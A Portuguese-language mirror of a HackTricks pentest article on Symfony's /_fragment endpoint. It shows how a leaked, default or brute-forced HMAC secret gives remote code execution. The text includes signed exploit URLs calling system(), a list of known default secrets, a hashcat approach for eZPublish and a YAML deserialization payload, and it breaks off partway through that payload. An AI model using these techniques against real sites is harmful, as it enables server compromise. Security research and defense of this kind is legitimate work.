mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 19:43:31 +00:00
541 lines
34 KiB
Markdown
541 lines
34 KiB
Markdown
## Symfony
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Introdução <a href="#introduction" id="introduction"></a>
|
|
|
|
Desde sua criação em 2008, o uso do framework [Symfony](https://symfony.com) tem crescido cada vez mais em aplicações baseadas em PHP. Agora é um componente central de muitos CMSs conhecidos, como [Drupal](https://www.drupal.org), [Joomla!](https://www.joomla.org), [eZPlatform](https://ezplatform.com) (anteriormente eZPublish) ou [Bolt](https://bolt.cm), e é frequentemente usado para construir sites personalizados.
|
|
|
|
Uma das funcionalidades integradas do Symfony, feita para lidar com [ESI (Edge-Side Includes)](https://en.wikipedia.org/wiki/Edge\_Side\_Includes), é a classe [`FragmentListener`](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php). Basicamente, quando alguém emite uma solicitação para `/_fragment`, esse ouvinte define atributos de solicitação a partir dos parâmetros GET fornecidos. Como isso permite **executar código PHP arbitrário** (_mais sobre isso depois_), a solicitação deve ser assinada usando um valor HMAC. A chave criptográfica secreta desse HMAC é armazenada em um valor de configuração do Symfony chamado `secret`.
|
|
|
|
Esse valor de configuração, `secret`, também é usado, por exemplo, para construir tokens CSRF e tokens de lembrança. Dado sua importância, esse valor deve ser obviamente muito aleatório.
|
|
|
|
Infelizmente, descobrimos que muitas vezes, o segredo tem um valor **padrão**, ou existem **maneiras de obter o valor, forçá-lo offline ou simplesmente ignorar a verificação de segurança com a qual está envolvido**. Isso afeta principalmente o Bolt, o eZPlatform e o eZPublish.
|
|
|
|
Embora isso possa parecer um problema de configuração benigno, descobrimos que valores padrão, forçáveis ou adivinháveis estão **muito, muito frequentemente presentes** nos CMSs mencionados, bem como em aplicativos personalizados. Isso se deve principalmente à falta de ênfase em sua importância na documentação ou nos guias de instalação.
|
|
|
|
Além disso, um invasor pode escalar vulnerabilidades menos impactantes para ler o `secret` (por meio de uma divulgação de arquivo), ignorar o processo de assinatura `/_fragment` (usando um SSRF) e até mesmo vazá-lo por meio de `phpinfo()`!
|
|
|
|
Neste post, descreveremos como o segredo pode ser obtido em vários CMSs e no framework base, e como obter a execução de código usando esse segredo.
|
|
|
|
## Um pouco de história <a href="#a-little-bit-of-history" id="a-little-bit-of-history"></a>
|
|
|
|
Sendo um framework moderno, o Symfony teve que lidar com a geração de subpartes de uma solicitação desde sua criação até nossos dias. Antes de `/_fragment`, havia `/_internal` e `/_proxy`, que faziam essencialmente a mesma coisa. Isso produziu muitas vulnerabilidades ao longo dos anos: [CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes), [CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy) e [CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access), por exemplo.
|
|
|
|
Desde o Symfony 4, o segredo é gerado na instalação e a página `/_fragment` é desativada por padrão. Poderíamos pensar, portanto, que a conjunção de ambos ter um `secret` fraco e `/_fragment` habilitado seria rara. Não é: muitos frameworks dependem de versões antigas do Symfony (mesmo o 2.x ainda é muito presente), e implementam um valor `secret` estático ou o geram de forma inadequada. Além disso, muitos dependem do ESI e, como tal, habilitam a página `/_fragment`. Além disso, como veremos, outras vulnerabilidades de baixo impacto podem permitir o despejo do segredo, mesmo que tenha sido gerado com segurança.
|
|
|
|
## Executando código com a ajuda de `secret` <a href="#executing-code-with-the-help-of-secret" id="executing-code-with-the-help-of-secret"></a>
|
|
|
|
Demonstraremos primeiro como um invasor, tendo conhecimento do valor de configuração `secret`, pode obter a execução de código. Isso é feito para a última versão do `symfony/http-kernel`, mas é semelhante para outras versões.
|
|
|
|
### Usando `/_fragment` para executar código arbitrário <a href="#using-_fragment-to-run-arbitrary-code" id="using-_fragment-to-run-arbitrary-code"></a>
|
|
|
|
Como mencionado anteriormente, faremos uso da página `/_fragment`.
|
|
```php
|
|
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
public function onKernelRequest(RequestEvent $event)
|
|
{
|
|
$request = $event->getRequest();
|
|
|
|
# [1]
|
|
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
|
|
return;
|
|
}
|
|
|
|
if ($request->attributes->has('_controller')) {
|
|
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
|
|
$request->query->remove('_path');
|
|
|
|
return;
|
|
}
|
|
|
|
# [2]
|
|
if ($event->isMasterRequest()) {
|
|
$this->validateRequest($request);
|
|
}
|
|
|
|
# [3]
|
|
parse_str($request->query->get('_path', ''), $attributes);
|
|
$request->attributes->add($attributes);
|
|
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
|
|
$request->query->remove('_path');
|
|
}
|
|
}
|
|
```
|
|
`FragmentListener:onKernelRequest` será executado em cada solicitação: se o caminho da solicitação for `/_fragment` \[1\], o método primeiro verificará se a solicitação é válida (_ou seja_, devidamente assinada) e lançará uma exceção caso contrário \[2\]. Se as verificações de segurança forem bem-sucedidas, ele analisará o parâmetro `_path` codificado na URL e definirá os atributos `$request` de acordo.
|
|
|
|
Os atributos da solicitação não devem ser confundidos com os parâmetros da solicitação HTTP: eles são valores internos, mantidos pelo Symfony, que geralmente não podem ser especificados por um usuário. Um desses atributos de solicitação é `_controller`, que especifica qual controlador do Symfony (uma tupla _(classe, método)_ ou simplesmente uma _função_) deve ser chamado. Atributos cujo nome não começa com `_` são argumentos que serão fornecidos ao controlador. Por exemplo, se quiséssemos chamar este método:
|
|
```php
|
|
class SomeClass
|
|
{
|
|
public function someMethod($firstMethodParam, $secondMethodParam)
|
|
{
|
|
...
|
|
}
|
|
}
|
|
```
|
|
Nós definimos `_path` como:
|
|
|
|
`_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2`
|
|
|
|
A solicitação ficaria assim:
|
|
|
|
`http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...`
|
|
|
|
Essencialmente, isso permite chamar qualquer função ou método de qualquer classe, com qualquer parâmetro. Dada a infinidade de classes que o Symfony possui, **obter a execução de código é trivial**. Podemos, por exemplo, chamar `system()`:
|
|
|
|
`http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...`
|
|
|
|
_Chamar o sistema nem sempre funcionará: consulte a seção de exploração para obter mais detalhes sobre as sutilezas da exploração._
|
|
|
|
Um problema permanece: como o Symfony verifica a assinatura da solicitação?
|
|
|
|
### Assinando a URL <a href="#signing-the-url" id="signing-the-url"></a>
|
|
|
|
Para verificar a assinatura de uma URL, um HMAC é calculado em relação à URL _completa_. O hash obtido é então comparado com o especificado pelo usuário.
|
|
|
|
Em termos de código, isso é feito em dois pontos:
|
|
```php
|
|
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
protected function validateRequest(Request $request)
|
|
{
|
|
// is the Request safe?
|
|
if (!$request->isMethodSafe()) {
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
// is the Request signed?
|
|
if ($this->signer->checkRequest($request)) {
|
|
return;
|
|
}
|
|
|
|
# [3]
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
}
|
|
|
|
# ./vendor/symfony/http-kernel/UriSigner.php
|
|
|
|
class UriSigner
|
|
{
|
|
public function checkRequest(Request $request): bool
|
|
{
|
|
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
|
|
|
|
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
|
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
|
|
}
|
|
|
|
/**
|
|
* Checks that a URI contains the correct hash.
|
|
*
|
|
* @return bool True if the URI is signed correctly, false otherwise
|
|
*/
|
|
public function check(string $uri)
|
|
{
|
|
$url = parse_url($uri);
|
|
if (isset($url['query'])) {
|
|
parse_str($url['query'], $params);
|
|
} else {
|
|
$params = [];
|
|
}
|
|
|
|
if (empty($params[$this->parameter])) {
|
|
return false;
|
|
}
|
|
|
|
$hash = $params[$this->parameter];
|
|
unset($params[$this->parameter]);
|
|
|
|
# [2]
|
|
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
|
|
}
|
|
|
|
private function computeHash(string $uri): string
|
|
{
|
|
# [1]
|
|
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
|
|
}
|
|
|
|
private function buildUrl(array $url, array $params = []): string
|
|
{
|
|
ksort($params, SORT_STRING);
|
|
$url['query'] = http_build_query($params, '', '&');
|
|
|
|
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
|
|
$host = isset($url['host']) ? $url['host'] : '';
|
|
$port = isset($url['port']) ? ':'.$url['port'] : '';
|
|
$user = isset($url['user']) ? $url['user'] : '';
|
|
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
|
|
$pass = ($user || $pass) ? "$pass@" : '';
|
|
$path = isset($url['path']) ? $url['path'] : '';
|
|
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
|
|
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
|
|
|
|
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
|
|
}
|
|
}
|
|
```
|
|
Em resumo, o Symfony extrai o parâmetro GET `_hash`, em seguida, reconstrói a URL completa, por exemplo, `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`, calcula um HMAC a partir desta URL usando o `secret` como chave \[1], e compara com o valor de hash fornecido \[2]. Se eles não coincidirem, uma exceção `AccessDeniedHttpException` é gerada \[3], resultando em um erro `403`.
|
|
|
|
### Exemplo <a href="#example" id="example"></a>
|
|
|
|
Para testar isso, vamos configurar um ambiente de teste e extrair o segredo (neste caso, gerado aleatoriamente).
|
|
```
|
|
$ git clone https://github.com/symfony/skeleton.git
|
|
$ cd skeleton
|
|
$ composer install
|
|
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
|
|
$ grep -F APP_SECRET .env # Find secret
|
|
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
|
|
$ cd public
|
|
$ php -S 0:8000
|
|
```
|
|
Agora, visitando `http://localhost:8000/_fragment` retorna um `403`. Vamos tentar fornecer uma assinatura válida:
|
|
```
|
|
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
|
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
|
|
```
|
|
Ao verificar `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D`, agora temos um código de status `404`. A assinatura estava correta, mas não especificamos nenhum atributo de solicitação, então o Symfony não encontra nosso controlador.
|
|
|
|
Como podemos chamar qualquer método, com qualquer argumento, podemos, por exemplo, escolher `system($command, $return_value)`, e fornecer um payload assim:
|
|
```
|
|
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
|
|
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
|
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
|
|
```
|
|
Agora podemos visitar a URL de exploração: `http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D`.
|
|
|
|
Apesar do erro `500`, podemos ver que **nosso comando foi executado**.
|
|
|
|
_RCE usando fragmento_
|
|
|
|
![1](https://www.ambionics.io/images/symfony-secret-fragment/1.png)
|
|
|
|
## Encontrando segredos <a href="#finding-secrets" id="finding-secrets"></a>
|
|
|
|
Novamente: tudo isso não importaria se os segredos não fossem obtidos. Muitas vezes, eles são. Descreveremos várias maneiras de obter a execução de código sem nenhum conhecimento prévio.
|
|
|
|
### Através de vulnerabilidades <a href="#through-vulnerabilities" id="through-vulnerabilities"></a>
|
|
|
|
Vamos começar com o óbvio: usando vulnerabilidades de baixo impacto para obter o segredo.
|
|
|
|
#### Leitura de arquivo <a href="#file-read" id="file-read"></a>
|
|
|
|
Evidentemente, uma vulnerabilidade de leitura de arquivo poderia ser usada para ler os seguintes arquivos e obter o `segredo`:
|
|
|
|
* `app/config/parameters.yml`
|
|
* `.env`
|
|
|
|
_Como exemplo, algumas barras de ferramentas de depuração do Symfony permitem a leitura de arquivos._
|
|
|
|
#### PHPinfo <a href="#phpinfo" id="phpinfo"></a>
|
|
|
|
Nas versões recentes do Symfony (3.x), o `segredo` é armazenado em `.env` como `APP_SECRET`. Uma vez que é então importado como uma variável de ambiente, eles podem ser vistos através de uma página `phpinfo()`.
|
|
|
|
_Vazando APP\_SECRET através do phpinfo_
|
|
|
|
![2](https://www.ambionics.io/images/symfony-secret-fragment/2.png)
|
|
|
|
Isso pode ser feito principalmente através do pacote de perfil do Symfony, como demonstrado pela captura de tela.
|
|
|
|
#### SSRF / IP spoofing (CVE-2014-5245) <a href="#ssrf-ip-spoofing-cve-2014-5245" id="ssrf-ip-spoofing-cve-2014-5245"></a>
|
|
|
|
O código por trás do `FragmentListener` evoluiu ao longo dos anos: até a versão _2.5.3_, quando a solicitação vinha de um proxy confiável (leia-se: `localhost`), ela seria considerada segura e, como tal, o hash não seria verificado. Um SSRF, por exemplo, pode permitir a execução imediata de código, independentemente de ter ou não o `segredo`. Isso afeta principalmente o eZPublish até 2014.7.
|
|
```php
|
|
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
|
|
# Symfony 2.3.18
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
protected function validateRequest(Request $request)
|
|
{
|
|
// is the Request safe?
|
|
if (!$request->isMethodSafe()) {
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
// does the Request come from a trusted IP?
|
|
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
|
|
$remoteAddress = $request->server->get('REMOTE_ADDR');
|
|
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
|
|
return;
|
|
}
|
|
|
|
// is the Request signed?
|
|
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
|
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
|
|
return;
|
|
}
|
|
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
protected function getLocalIpAddresses()
|
|
{
|
|
return array('127.0.0.1', 'fe80::1', '::1');
|
|
}
|
|
```
|
|
Admitidamente, todas essas técnicas requerem outra vulnerabilidade. Vamos mergulhar em um vetor ainda melhor: valores padrão.
|
|
|
|
### Através de valores padrão <a href="#através-de-valores-padrão" id="através-de-valores-padrão"></a>
|
|
|
|
#### Symfony <= 3.4.43: `ThisTokenIsNotSoSecretChangeIt` <a href="#symfony-3443-thistokenisnotsosecretchangeit" id="symfony-3443-thistokenisnotsosecretchangeit"></a>
|
|
|
|
Ao configurar um site Symfony, o primeiro passo é instalar o esqueleto [symfony-standard](https://github.com/symfony/symfony-standard). Quando instalado, uma solicitação pede alguns valores de configuração. Por padrão, a chave é `ThisTokenIsNotSoSecretChangeIt`.
|
|
|
|
_Instalação do Symfony através do composer_
|
|
|
|
![3](https://www.ambionics.io/images/symfony-secret-fragment/3.png)
|
|
|
|
Em versões posteriores (4+), a chave secreta é gerada com segurança.
|
|
|
|
#### ezPlatform 3.x (mais recente): `ff6dc61a329dc96652bb092ec58981f7` <a href="#ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7" id="ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7"></a>
|
|
|
|
[ezPlatform](https://ezplatform.com), o sucessor do [ezPublish](https://en.wikipedia.org/wiki/EZ\_Publish), ainda usa o Symfony. Em 10 de junho de 2019, um [commit](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59) definiu a chave padrão como `ff6dc61a329dc96652bb092ec58981f7`. As versões vulneráveis variam de 3.0-alpha1 a 3.1.1 (atual).
|
|
|
|
Embora a [documentação](https://doc.ezplatform.com/en/latest/getting\_started/install\_ez\_platform/#change-installation-parameters) afirme que a chave secreta deve ser alterada, isso não é obrigatório.
|
|
|
|
#### ezPlatform 2.x: `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` <a href="#ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit" id="ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit"></a>
|
|
|
|
Assim como o esqueleto do Symfony, você será solicitado a inserir uma chave secreta durante a instalação. O valor padrão é `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`.
|
|
|
|
#### Bolt CMS <= 3.7 (mais recente): `md5(__DIR__)` <a href="#bolt-cms-37-latest-md5__dir__" id="bolt-cms-37-latest-md5__dir__"></a>
|
|
|
|
O [Bolt CMS](https://bolt.cm) usa o [Silex](https://github.com/silexphp/Silex), um micro-framework obsoleto baseado no Symfony. Ele configura a chave secreta usando este cálculo:
|
|
```php
|
|
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
|
|
$app['uri_signer.secret'] = md5(__DIR__);
|
|
|
|
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
|
|
$app['form.secret'] = md5(__DIR__);
|
|
```
|
|
Assim, é possível adivinhar o segredo ou usar uma vulnerabilidade de Divulgação de Caminho Completo para calculá-lo.
|
|
|
|
Se você não teve sucesso com as chaves secretas padrão, não desanime: existem outras maneiras.
|
|
|
|
### Força bruta <a href="#bruteforce" id="bruteforce"></a>
|
|
|
|
Como o segredo geralmente é definido manualmente (em vez de gerado aleatoriamente), as pessoas costumam usar uma frase secreta em vez de um valor aleatório seguro, o que o torna suscetível a ataques de força bruta se tivermos um hash para atacar. Obviamente, uma URL válida `/_fragment`, como a gerada pelo Symfony, nos forneceria uma tupla de mensagem-hash válida para atacar o segredo.
|
|
|
|
_Uma solicitação válida ao fragmento está incluída na resposta_
|
|
|
|
![4](https://www.ambionics.io/images/symfony-secret-fragment/4.png)
|
|
|
|
No início deste post, dissemos que o segredo do Symfony tinha vários usos. Um desses usos é que ele também é usado para gerar tokens CSRF. Outro uso de `secret` é assinar cookies de lembrança. Em alguns casos, um invasor pode usar seu próprio token CSRF ou cookie de lembrança para atacar o valor de `secret`.
|
|
|
|
_A engenharia reversa da construção desses tokens é deixada como um exercício para o leitor._
|
|
|
|
### Indo mais longe: eZPublish <a href="#going-further-ezpublish" id="going-further-ezpublish"></a>
|
|
|
|
Como exemplo de como segredos podem ser atacados por força bruta para obter execução de código, veremos como podemos descobrir o segredo do eZPublish 2014.07.
|
|
|
|
#### Encontrando material para força bruta <a href="#finding-bruteforce-material" id="finding-bruteforce-material"></a>
|
|
|
|
O eZPublish gera seus tokens CSRF assim:
|
|
```php
|
|
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
|
|
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
|
|
```
|
|
Para construir este token, o eZP usa dois valores que conhecemos e o segredo: `getIntention()` é a ação que o usuário está tentando realizar (`autenticar`, por exemplo), `session_id()` é o ID da sessão PHP e `getSecret()`, bem, é o `segredo` do Symfony.
|
|
|
|
Como os tokens CSRF podem ser encontrados em alguns formulários, agora temos o material para forçar o segredo.
|
|
|
|
Infelizmente, o ezPublish incorporou um pacote da sensiolabs, [sensio/distribution-bundle](https://packagist.org/packages/sensio/distribution-bundle). Este pacote garante que a chave secreta seja aleatória. Ele a gera assim, durante a instalação:
|
|
```php
|
|
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
|
|
|
|
private function generateRandomSecret()
|
|
{
|
|
return hash('sha1', uniqid(mt_rand()));
|
|
}
|
|
```
|
|
Isso parece ser muito difícil de forçar: `mt_rand()` pode gerar 231 valores diferentes, e `uniqid()` é construído a partir do timestamp atual (com microssegundos).
|
|
```php
|
|
// Simplified uniqid code
|
|
|
|
struct timeval tv;
|
|
gettimeofday(&tv, NULL);
|
|
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
|
|
```
|
|
#### Divulgação do timestamp <a href="#disclosing-the-timestamp" id="disclosing-the-timestamp"></a>
|
|
|
|
Felizmente, sabemos que esse segredo é gerado na última etapa da instalação, logo após a configuração do site. Isso significa que provavelmente podemos vazar o timestamp usado para gerar esse hash.
|
|
|
|
Uma maneira de fazer isso é usando os logs (_por exemplo_, `/var/log/storage.log`); pode-se vazar a primeira vez que uma entrada de cache foi criada. A entrada de cache é criada logo após a chamada de `generateRandomSecret()`.
|
|
|
|
_Conteúdo de log de amostra: o timestamp é semelhante ao usado para calcular o segredo_
|
|
|
|
![5](https://www.ambionics.io/images/symfony-secret-fragment/5.png)
|
|
|
|
Se os logs não estiverem disponíveis, pode-se usar o poderoso mecanismo de pesquisa do eZPublish para encontrar o horário de criação do primeiro elemento do site. De fato, quando o site é criado, muitos timestamps são colocados no banco de dados. Isso significa que o timestamp dos dados iniciais do site eZPublish é o mesmo usado para calcular `uniqid()`. Podemos procurar o _ContentObject_ `landing_page` e descobrir seu timestamp.
|
|
|
|
## Bruteforcing dos bits ausentes <a href="#bruteforcing-the-missing-bits" id="bruteforcing-the-missing-bits"></a>
|
|
|
|
Agora estamos cientes do timestamp usado para calcular o segredo, bem como de um hash da seguinte forma:
|
|
```php
|
|
$random_value = mt_rand();
|
|
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
|
|
$known_plaintext = '<intention><sessionID>';
|
|
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
|
|
```
|
|
Isso nos deixa com um total de 231 \* 106 possibilidades. Parece factível com o [hashcat](https://hashcat.net) e um bom conjunto de GPUs, mas o hashcat não fornece um kernel `sha1(sha1($pass).$salt)`. Felizmente, nós o implementamos! Você pode encontrar [a solicitação de pull aqui](https://github.com/hashcat/hashcat/pull/2536).
|
|
|
|
Usando nossa máquina de cracking, que possui 8 GPUs, podemos quebrar esse hash em _menos de 20 horas_.
|
|
|
|
Depois de obter o hash, podemos usar `/_fragment` para executar código.
|
|
|
|
## Conclusão <a href="#conclusão" id="conclusão"></a>
|
|
|
|
Symfony é agora um componente central de muitas aplicações PHP. Como tal, qualquer risco de segurança que afete o framework afeta muitos sites. Como demonstrado neste artigo, uma chave secreta fraca ou uma vulnerabilidade menos impactante permite que os atacantes obtenham **execução remota de código**.
|
|
|
|
Como um blue teamer, você deve dar uma olhada em todos os seus sites dependentes do Symfony. O software atualizado não pode ser descartado para vulnerabilidades, pois a chave secreta é gerada na primeira instalação do produto. Portanto, se você criou um site baseado no Symfony 3.x há alguns anos e o manteve atualizado ao longo do caminho, as chances são de que a chave secreta ainda seja a padrão.
|
|
|
|
## Exploração <a href="#exploração" id="exploração"></a>
|
|
|
|
### Teoria <a href="#teoria" id="teoria"></a>
|
|
|
|
Por um lado, temos algumas coisas com que nos preocupar ao explorar essa vulnerabilidade:
|
|
|
|
* O HMAC é calculado usando a **URL completa**. Se o site estiver atrás de um proxy reverso, precisamos usar a URL interna do serviço em vez daquela para a qual estamos enviando nossa carga útil. Por exemplo, a URL interna pode ser HTTP em vez de HTTPS.
|
|
* O algoritmo HMAC mudou ao longo dos anos: era **SHA-1** antes e agora é **SHA-256**.
|
|
* Como o Symfony remove o parâmetro `_hash` da solicitação e, em seguida, gera a URL novamente, precisamos calcular o hash na mesma URL que ele.
|
|
* Muitos segredos podem ser usados, então precisamos verificá-los todos.
|
|
* Em algumas versões do PHP, não podemos chamar funções que têm parâmetros "por referência", como `system($command, &$return_value)`.
|
|
* Em algumas versões do Symfony, `_controller` não pode ser uma função, tem que ser um método. Precisamos encontrar um método Symfony que nos permita executar código.
|
|
|
|
Por outro lado, podemos aproveitar algumas coisas:
|
|
|
|
* Acessar `/_fragment` sem parâmetros ou com um hash inválido deve retornar um `403`.
|
|
* Acessar `/_fragment` com um hash válido, mas sem um controlador válido, deve resultar em um `500`.
|
|
|
|
O último ponto nos permite testar valores secretos sem nos preocuparmos com qual função ou método vamos chamar depois.
|
|
|
|
### Prática <a href="#prática" id="prática"></a>
|
|
|
|
Digamos que estamos atacando `https://target.com/_fragment`. Para ser capaz de assinar corretamente uma URL, precisamos ter conhecimento de:
|
|
|
|
* URL interna: pode ser `https://target.com/_fragment`, ou talvez `http://target.com/_fragment`, ou algo completamente diferente (_por exemplo_, `http://target.website.internal`), que não podemos adivinhar
|
|
* Chave secreta: temos uma lista de chaves secretas usuais, como `ThisTokenIsNotSoSecretChangeIt`, `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`, etc.
|
|
* Algoritmo: SHA1 ou SHA256
|
|
|
|
Não precisamos nos preocupar com a carga útil efetiva (o conteúdo de `_path`) ainda, porque uma URL assinada corretamente não resultará em uma `AccessDeniedHttpException` sendo lançada e, como tal, não resultará em um `403`. O exploit, portanto, tentará cada combinação `(algoritmo, URL, segredo)`, gerará uma URL e verificará se ela não resulta em um código de status `403`.
|
|
|
|
_Uma solicitação válida para `/_fragment`, sem o parâmetro `_path`_
|
|
|
|
![6](https://www.ambionics.io/images/symfony-secret-fragment/6.png)
|
|
|
|
Neste ponto, podemos assinar qualquer URL `/_fragment`, o que significa que é uma garantia de RCE. É apenas uma questão do que chamar.
|
|
|
|
Então, precisamos descobrir se podemos chamar uma função diretamente ou se precisamos usar um método de classe. Podemos primeiro tentar a maneira mais direta, usando uma função como `phpinfo ([ int $what = INFO_ALL ] )` ([documentação](https://www.php.net/manual/en/function.phpinfo.php)). O parâmetro GET `_path` ficaria assim:
|
|
```
|
|
_controller=phpinfo
|
|
&what=-1
|
|
```
|
|
E a URL ficaria assim:
|
|
|
|
`http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...`
|
|
|
|
Se a resposta HTTP exibir uma página `phpinfo()`, nós conseguimos. Então podemos tentar usar outra função, como `assert`:
|
|
|
|
_Exemplo de saída usando `_controller=assert`_
|
|
|
|
![7](https://www.ambionics.io/images/symfony-secret-fragment/7.png)
|
|
|
|
Caso contrário, isso significa que precisaremos usar um método de classe. Um bom candidato para isso é `Symfony\Component\Yaml\Inline::parse`, que é uma classe Symfony integrada e, portanto, está presente em sites Symfony.
|
|
|
|
Obviamente, esse método analisa uma string de entrada YAML. O analisador YAML do Symfony suporta a tag `php/object`, que converterá uma string de entrada serializada em um objeto usando `unserialize()`. Isso nos permite usar nossa ferramenta PHP favorita, [PHPGGC](https://github.com/ambionics/phpggc)!
|
|
|
|
O protótipo do método mudou ao longo dos anos. Por exemplo, aqui estão três protótipos diferentes:
|
|
```
|
|
public static function parse($value, $flags, $references);
|
|
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
|
|
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
|
|
```
|
|
Em vez de construir `_path` para cada um desses, podemos aproveitar o fato de que se fornecermos um argumento cujo nome não corresponda ao protótipo do método, ele será ignorado. Portanto, podemos adicionar todos os argumentos possíveis ao método, sem nos preocuparmos com o protótipo real.
|
|
|
|
Portanto, podemos construir `_path` assim:
|
|
```
|
|
_controller=Symfony\Component\Yaml\Inline::parse
|
|
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
|
|
&flags=516
|
|
&exceptionOnInvalidType=0
|
|
&objectSupport=1
|
|
